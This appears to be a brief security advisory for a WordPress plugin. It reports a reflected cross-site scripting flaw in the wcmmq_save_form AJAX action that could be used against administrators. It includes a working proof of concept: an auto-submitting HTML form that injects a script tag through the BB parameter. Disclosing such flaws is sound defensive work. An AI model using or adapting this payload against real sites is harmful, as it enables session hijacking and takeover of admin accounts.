Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
<body onload="document.forms[0].submit()">
<form action="http://example.com/wp-admin/admin-ajax.php?action=wcmmq_save_form" method="POST">
<input type="text" name="BB" value='"><script>alert(1)</script>'>
<input type="submit" value="submit">
</form>
</body>